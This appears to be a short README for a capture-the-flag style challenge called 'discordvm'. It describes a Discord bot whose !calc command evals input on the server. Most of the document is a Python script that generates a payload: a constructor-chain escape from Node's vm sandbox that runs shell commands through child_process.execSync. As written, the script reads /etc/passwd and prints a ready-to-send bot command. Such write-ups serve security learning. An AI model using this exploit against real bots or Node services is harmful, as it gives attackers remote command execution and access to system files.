# discordvm

Docs:
- https://thegoodhacker.com/posts/the-unsecure-node-vm-module/

TLDR: running the !calc command in the bot channel allows for server-side eval() execution. Also needed to escaped the 'vm' module "sandbox"

## python code to generate payloads

#!/usr/bin/python3

import urllib.parse as ul


# the shell code to run
payload = 'cat /etc/passwd'

# the js code to run the shell code
js = f"process.mainModule.require(\'child_process\').execSync(\'{payload}\',{{encoding:'utf-8'}})"

# the js constructor wrapper to escape the vm module
wrapped = f'this.constructor.constructor("return {js}")()'

# URL encode js string to allow for spaces/line-breaks when running the !calc command
encoded = ul.quote(wrapped)

# print out command to give to discord bot, URL decoding before executing
print(f"!calc this.eval(this.decodeURIComponent('{encoded}'))")